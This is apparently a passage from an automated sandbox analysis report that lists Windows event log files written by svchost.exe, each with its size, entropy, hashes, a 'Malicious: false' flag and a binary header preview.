SHA-256:	C4180B31B961C7479B8A3AAB841E13B06A6B5AC8DAE1CDB7F89FCF258A70D338
SHA-512:	D917A9DA07BDC78815EEA54512652AA5E57C201BECB631E31B43AABA4550DCF474448E597CE4D1C4256FC9B822BEFB2321F8BD7783FDFD482846E0669925E189
Malicious:	false
Preview:	ElfChnk.........#...............#........... ..............................................................................\.f................T.......................\|...=...........................................................................................................................f...............?...........................m...................M...F.......................................-...'...............&.......................................................................................*.. ............#................&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-SettingSync%4Debug.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.2909571978750325
Encrypted:	false
SSDEEP:	384:Ny2/hDGCyCkCzCRCFCNClCuC6CoC9rC6CdCsCvCkxCkC5CCCWCxCIC/CbCFC5CkG:Ny2/dm1sR
MD5:	B0BF4D9EC91ABBDA5D328631B125A5C0
SHA1:	E672D69127AE7C1A51046ADAA911871EC0C10ABB
SHA-256:	8DBE6F5B80B3D973BBF1177BCCAA690B9F90FC99DC358B7DE66175317C733501
SHA-512:	3132E1FCC5C8F88BD974465EA1E644CA89C2D9E041E49F8A1F48B9ACB3376F0A1042F5CB6FDFC6BE2934C4483312C35539D64DB25B892388604F9F637074BCBD
Malicious:	false
Preview:	ElfChnk.U.......~.......U.......~....................}/.....................................................................@..................F.......................n...=...........................................................................................................................f...............?...........................m...................M...F...........................................................&....................................................v..................................**..0...U.........Df..............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Shell-Core%4AppDefaults.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.488768580471203
Encrypted:	false
SSDEEP:	1536:Q9YcieRoUlafdbkKKMAQ2SomvXCQv/2ketsvQPh8YzSJoh2VgPIEF6uq9GgCVRlW:Q9YcieRoUlaFbkKKMAQ2SomvXCM/2keU
MD5:	E3FB1708C64D250E4D801AFB8688DF35
SHA1:	8B889F0358683733257411E451A86E3A1D42159D
SHA-256:	0B62FDD9A57B1809D79561AE64BE30DD7430815D6954A5E3DF90E29E1B2E6C72
SHA-512:	2F5CC514B180A39E5961452A594FE5384A6369CBCB7A1CEBAC37948770A6CB999A2E2F26A32240058D5D7A335904DAF40C88F1C096D8F85907F23E9B32E79ABE
Malicious:	false
Preview:	ElfChnk.........$...............$.....................w.........................................................................................>.......................f...=...........................................................................................................................f...............?...........................m...................M...F...........................................................&...................................................V...................................**................o...............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Shell-Core%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.494709482922509
Encrypted:	false
SSDEEP:	1536:AcRFkL1TWX0gkB/J7oasEfyk2/vKlqRi/PgTZSXwyvy8fJpfrAW+Cr6SXlUr20Gy:AcRFkL1TWX0gkB/J7oasEfyk2/vKlqk6
MD5:	32526484E49E60D3FAF9995A13AC2F71
SHA1:	93D0E66F9A41D4FC664DABD03799CA34FE4A3219
SHA-256:	18A7EFF2A12DFFD66083469060E273155F37CFA93FDBF35D07ACE2CAFEC825D4
SHA-512:	882FD6184CB3CAA36AB067441983E9D4C4E6484637DB8636C111645886B17E1EE1B4C6704736E6379F50DA8540841863674D97D21898670DF6E1E8804C851F27
Malicious:	false
Preview:	ElfChnk.>...............>...........................(.........................................................................FX................0.......................X...=...........................................................................................................................f...............?...........................m...................M...F...............................................................................................A...............&...i.......~......................**......>........Q.U..............&............"3WI..L..........A..\|...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-ShellCommon-StartLayoutPopulation%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	DIY-Thermocam raw data (Lepton 2.x), scale 8448-1024, spot sensor temperature 0.000000, unit celsius, color scheme 1, calibration: offset 0.000000, slope 842246052603449135071232.000000
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.495006895073632
Encrypted:	false
SSDEEP:	384:PhN7s7o787l7r787a7J7z7+7N17g7n7O7g7gY7hZ7D7k7F7r7wm7NP7Y7+7fa7lX:P9vuCg
MD5:	C91E3F9D54A9644A6EF8C430022B19F7
SHA1:	E7DE5FB33C57B927F0F2E9071D5CAD49981AB6D5
SHA-256:	6CC7E54BCE73786C2B3785A64CB383CFFC092BFD980364C44EA0DCF5212A4585
SHA-512:	BB2B7E8A651B6B15A9E9230F92DF04C446DA98CA047924D0FDD107146BBA6E21AB314EEC88FE20BD3143439EFBE7E4013F01554935CA5966076126A7303C4964
Malicious:	false
Preview:	ElfChnk.Y.......g.......Y.......g............%...&........................................................................................................................=...........................................................................................................................f...............?...........................m...................M...F...........................................=...............&...............................................................s.......................**......Y........................&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-SmbClient%4Connectivity.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.1499045494600955
Encrypted:	false
SSDEEP:	384:Dhc+uaNuru+uhuKVuPJu5u9u4ufuTuxuDuvuDuOuXumui+udutui4uTAuFuauind:D6Ovc0S5UyEeDgLslstY
MD5:	2045FB0D54CA8F456B545859B9F9B0A8
SHA1:	35854F87588C367DE32A3931E01BC71535E3F400
SHA-256:	E4305D5E1125E185F25AABA6FF9E32DE70B4EFD7264FE5A0C7C2EF3C33989C45
SHA-512:	013CAC4CBF67C9AB5D2A07E771BAF81950E5A256F379E3C2E26CC9E8E47379579470CC6FD56E93B31C4D17935713D1FC6026307427D77CBE9647139E3D73AC47
Malicious:	false
Preview:	ElfChnk.........;...............;...........xk...m...+.....................................................................F.~.................,.......................T...=...........................................................................................................................f...............?...........................m...................M...F...........................&...................................................................................6f..w...............................**...............&3..............&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-SmbClient%4Security.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.8164696340947971
Encrypted:	false
SSDEEP:	384:jhGuZumutu4uEu5uOuDuyb2uPu1uRu3uGuHu9/u:jr
MD5:	1AB19FA472669F4334C7A9D44E94E1B3
SHA1:	F71C16706CFA9930045C9A888FDB3EF46CACC5BC
SHA-256:	549D89A256E3C71AFCBF551EC9BEDBDB3CF2DC74B4F8C214FDC1D270FB731F6E
SHA-512:	72F1F20CB1F2984B318E4A2AAEE11D573441A77D04C0577D24E19F89E85F1691CB29EF569BD25EBBBD313C7B9DB945DB43D52EEFC2EF33E7BEECDFB8E0BBC404
Malicious:	false
Preview:	ElfChnk...................................... ..x$../..........................................................................<................$.......................L...=...........................................................................................................................f...............?...........................m...................M...F...........................................................&....................................................!..................................**..............Wy.8..............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-StateRepository%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.9855903635327656
Encrypted:	false
SSDEEP:	384:cxNhPALAb/A0D6AKAlAfyVAQhAQueA4AIAwA0AYAwA+/AfAjrA3DA:cxN90yzXd
MD5:	7BCA54AC75C7185ADFBB42B1A84F86E3
SHA1:	AD91EE55A6F9F77AD871ACA9A5B59987CA679968
SHA-256:	A43B1365211A968B4EC3F9EC7489D05AD9EED30D3EE0CCD89860D20DFE1914D4
SHA-512:	79A04DCE951528E09F7580E797E38D58CFC556EFEC032C3E68C701D720E01CBDCA3D4F27C309D50B9096570787A0E62B2C69236D148AC9C216CB13AA05E9619F
Malicious:	false
Preview:	ElfChnk.....................................P+...,...0........................................................................9.................B.......................j...=...........................................................................................................................f...............?...........................m...................M...F...........................U.......................%%......&...................................................>...........................E.......**..............o.m...............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Storage-Storport%4Health.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	3.165454452307923
Encrypted:	false
SSDEEP:	384:ghVpIcpBUpBxpBapB3pBEpBZpBKpBV1pBApBppBTSpBcu1pBspBlpBABpB7pB0py:gd+uXvB
MD5:	B6B6F199DA64422984403D7374F32528
SHA1:	980D66401DFCCF96ADDDAF22334A5CE735554E7F
SHA-256:	8F65F81EE28F48B5007E04842ACC9DE20794A59E2759C2F35F7C10730A1EF7BF
SHA-512:	5B0EFBF1C57BACF347790EB5915AFCFDDDDAFA7761D94DF1341C4E79F5B16DA3FAC2C9653C3DC41B80E31EA44AE46F4FC95C6EC0FFA0A0D3C05C69CED6955DE4
Malicious:	false
Preview:	ElfChnk.........'...............'...........P.......H:Z.....................................................................gO.................. .......................H...=...........................................................................................................................f...............?...........................m...................M...F...........................................................&....................................................f..................................**..............m.................&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Storage-Storport%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	3.8519554794255333
Encrypted:	false
SSDEEP:	384:WhtbpwV1pIvpLfpvQpw2pQYph15pcApLqBpJxTp0qo8psfp4yp4Rphe3p7PpLWBZ:WwDoh1VqKVvcVU
MD5:	4140628CA3CEC29C0B506CEEBDF684F6
SHA1:	A2B70496C8E91D8E78AA04976B25D850ABAC6E1C
SHA-256:	1823149759A2F1771ACE7B6BE14A0FEFC6F93DD9F81AC1024E6B41C2CCBFD8B0
SHA-512:	779A04771A8E9B2F501FE1251F0D56C5B5988911F6067082D84FF1DBCF5D9281E32DF6CC2C995843EA1FCED748548DC116706E0F738B6510B47C2B3A0EBAA126
Malicious:	false
Preview:	ElfChnk.\...............\.......................0..../........................................................................v.......................................R...=...........................................................................................................................f...............?...........................m...................M...F............................................;..............&...................................i...................................mS..............*..8...\........=..............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-StorageSpaces-Driver%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.1642919553794224
Encrypted:	false
SSDEEP:	384:bhwCCRzCaCkClCzCYC/CyCVCGCMCvCNCACCxC/CLCoiC:bKFb
MD5:	D7EECF043241FDB9486580582E208603
SHA1:	045D5672A8E9884B78CD31C52D372375503CBF4F
SHA-256:	6F3BE76FC00FE21C18A904058F2AF850204488187187C9B8C4BF11EAA03EC6C0
SHA-512:	6738CD1D4081AD78CCC1E3E7AC46A394D9AC32906B4688E34DCCBBA42153FB826484C854F42FFF619DC8D50CAE708585B422F3EAA3A0219AAD19DC0962910125
Malicious:	false
Preview:	ElfChnk.....................................02..h6...u'.....................................................................1..................V.......................~...=...........................................................................................................................f...............?...........................m...................M...F...........................&...................................................................................V2............................../...**..p............................&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Store%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	75320
Entropy (8bit):	4.584265380899182
Encrypted:	false
SSDEEP:	768:4drIZi8Ns5iLV8gRai8ZijiTEOmGkoeiDpbfdd:qa+Jao7mce8pBd
MD5:	B418F9EC509AB0283BEAF4F4DB0E9E65
SHA1:	BC1905B1FE88288918F67F109F029DF6937CA8AD
SHA-256:	5F78426DACF50FF53B9F022B570A9B3EBB881DD26650FFD5CC1407BA239DC5AD
SHA-512:	85A0DCA4F3A526D9F65C1C217F30519678F380E856BB27D37EBF58708192B0A24A4DD830576F2513AE1F95B150C371861DE6A1DF3294A0D012DDDEC70B01C302
Malicious:	false
Preview:	ElfChnk.........................................h ...L.......................................................................b..........................................4...=...........................................................................................................................f...............?...........................m...................M...F...............................................................................................................&...................................**..0...........5.S...............&............"3WI..L..........A..\|...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Storsvc%4Diagnostic.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.1786182773625786
Encrypted:	false
SSDEEP:	384:dhL6UsE0ZUmxUmgDUmSUmKUmgUmlUmB8UmCUmeUmNUmtUmxUm01Um:dY7Lx
MD5:	BB8FF89438923392DAE2BB7134E1FE2E
SHA1:	79A4A32180C3CB2C65B2B14B716871D23BE51F0A
SHA-256:	550E9A50F7CC7479B86E5429D1FD4EC5AC24E3182FB9A54C9A76F9878A1DBBB5
SHA-512:	B408420BEEDA26E48BF8699FC64A87E95848058216B482531F89F809DF58E49135F33DD66B50E41E02C80EA39256394C26F80014A2B632C8D26BBEEC9A224801
Malicious:	false
Preview:	ElfChnk....................................../..(4..........................................................................F.T................ .......................H...=...........................................................................................................................f...............?...........................m...................M...F...........................&..................................................................................../..................................**..............a...............&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-TZUtil%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.20396616148121466
Encrypted:	false
SSDEEP:	48:MICW4VbrP+MZQNRBEZWTENO4bpBkoFlf/6FgVt:krKNVaO80orf/6Fg
MD5:	5B246B6936E1BEF6FF1CC58CE61AA137
SHA1:	34DAFA59311D0BAD123A571B43D487CC0041A9C3
SHA-256:	0B29ED316F526B0BEA0481B6AF85248E71AEDBEDDEBA79B2BE12B965E925BCB7
SHA-512:	8EBFA19BDA6B7C2A64A539DFA9323E766EF04680BB163FC71FB33DBB72041A133489870A3CA82AFE5AED633ABB4AA13F29CA44D25B2A99C9FB14946655B7F358
Malicious:	false
Preview:	ElfChnk...............................................L......................................................................................... .......................H...=...........................................................................................................................f...............?...........................m...................M...F...............................................................................................................&...................................**................H...............&............"3WI..L..........A..\|...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.6469884746870727
Encrypted:	false
SSDEEP:	384:/hpivNiGiriPiYiriDfiS83i0iGiTiYiUisiuiZi+iTiciUiQiJiUiBi4i/iAixQ:/G7t8H
MD5:	FC81D9FBA555C6BC7223594B8F6B46DE
SHA1:	971F47CFC0E1DCA462928DA2D8BE2B16D5A0629C
SHA-256:	9933922E09C49C5BA80292C4AED9EC9F457031E90B28B421DFFBD2F1BB840671
SHA-512:	7F2705E7526B49F76C5F2A76A88B83FC10591BAD68B451F5C67F841322076D4B408FC515EA59E0919907C73CBBD149AB5B5EE981083A52C9E90EC9FBFAD5254F
Malicious:	false
Preview:	ElfChnk.y...............y................... Q..(S...b.......................................................................t..............................................=.......................#...................................................................................................f...............?.......................P.......................M...F...............................................................................................................VG..................................**......y..........:............g.&.........g....R....uJ.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-UAC-FileVirtualization%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	3.3996091976763037
Encrypted:	false
SSDEEP:	768:Z6a0NHaPaLabaTabaraTajaXazaHa7aXazanaTara7aLaLa/aTaDafa7afaLaraD:ON
MD5:	A0CD4A428D9120766250F644EE3B7B17
SHA1:	C6BD970410AF5DA9985443BC2F2178EAA27D0D88
SHA-256:	6028067A6CEF44AF38B9B991CFF7D35B592A87C52FBA0F90C29B6ADB5277F17A
SHA-512:	0EF1557F5127C3A1C4B8C95D44B34F99B1BAD1A0C4E63E09C6E9D2BC211D03A73B0BFF97FAE09CA620B4DB39DFB3BF65CB01F6D367075D578DA595A3CF9DC05D
Malicious:	false
Preview:	ElfChnk.........@...............@...............`...6.........................................................................................`...........................=...........................................................................................................................f...............?...........................m...................M...F...............................................................................................................9...................................**..H............<4...............&............"3WI..L..........A..\|...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-User Device Registration%4Admin.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.3132453844344478
Encrypted:	false
SSDEEP:	384:hhaXJb4+XJcXJsXJrXJQXJIXJdXJkXJuXJyXJLMXJnXJRXJtXJLXJjXJppXJ:hQ0yUkNYwD8imLE5nTtFpf
MD5:	6237EE0458A0478242B975E9BB7AA97D
SHA1:	6B0BDBA887DA21675A63FC73AED995B1BCA3F6B1
SHA-256:	C8E224C54278C206302EAD7011ACC48CAC60E7638E32EE70653190DBC90FA70A
SHA-512:	56C025C971F77AB8E911E0190E8AB5CF533A909C1BF4558876FB2761AAA381CB7D21E44A3273FA4427CB2FF7DEECC15A312DD2A424B96ABDC4886BDF233F30E9
Malicious:	false
Preview:	ElfChnk......................................<...A.........................................................................i,.q................j...........................=...........................................................................................................................f...............?...........................m...................M...F...........................................................&....................................................<......C...........................**..............@V.$..............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-User Profile Service%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.325262033408211
Encrypted:	false
SSDEEP:	384:6hYmn9moomUmKBmZOmZmlmmmomRmemtmsmimGmHmEmqmwmHmLmlm9mGmdmpm3mfO:6/fGTDcx
MD5:	D13189B45679E53F5744A4D449F8B00F
SHA1:	ED410CAB42772E329F656B4793B46AC7159CF05B
SHA-256:	BAA80D6A7DC42752766B1862A00009A1D76B57022A4D5A89692DBA2D6866EBA1
SHA-512:	83399CE082F8C6D2917B8363E053C770F2783B3D086F39736919FBFA533DF65993A3B7840A2E1000B08948584CF9750C27961BF8A7BE3A235B5DDD779616013F
Malicious:	false
Preview:	ElfChnk.....................................h.................................................................................-.................X...........................=...........................................................................................................................f...............?...........................m...................M...F...............................................1...........&.......................................................................................**..x...........~_g...............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.7947046118743749
Encrypted:	false
SSDEEP:	384:jhr2zS2o202AW2D2t2l292l2V2p2d2N2:j8Q
MD5:	55E73A924B170FBFFF862E8E195E839A
SHA1:	3C625D05DFC08AE9DF26AEBAA82D72FC9F28ADB0
SHA-256:	1B36D85AA56A023F6646D6EF28C9DCB5358528274EDCC9B6ED20705E3007E8A2
SHA-512:	E14D32569F37A827EDBD1F02667866431C856D087A396933DE5E9B87943369C4802D220557050C7B0FE9367FBD0683676776E6D3CCBCB290C9F30D86EC529E28
Malicious:	false
Preview:	ElfChnk...................................... ..X"...........................................................................?.................Z...........................=...........................................................................................................................f...............?...........................m...................M...F...............................3...........................&.......................................................................................**................................&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-WMI-Activity%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	131880
Entropy (8bit):	4.371726387102516
Encrypted:	false
SSDEEP:	384:LzRUxhSRumRtRqR5RVR+rRvR3RFRXRmRbR+RLRlRFRDRiwhR3KR31RIRB8R+PRdG:LmxA8nPLGbsxA8nPLGbq
MD5:	B03BA6C2B8AE3E0A6C3514C7C6604075
SHA1:	7F8FB531593EC1B489FBCD44A50A3BC41F110B9E
SHA-256:	D319C8167A393CCA8F6356A8274CD90E0DEE7B04274D15CDB1B9398EBEA5004F
SHA-512:	7BD96E2B2A4DA446F2249A89BA072A69041DC0380FBDCBE526F9B6807CB623D6637B0486166E366948911C02A027AC1F6C3670F8BB2F91F33827721EC177EAB0
Malicious:	false
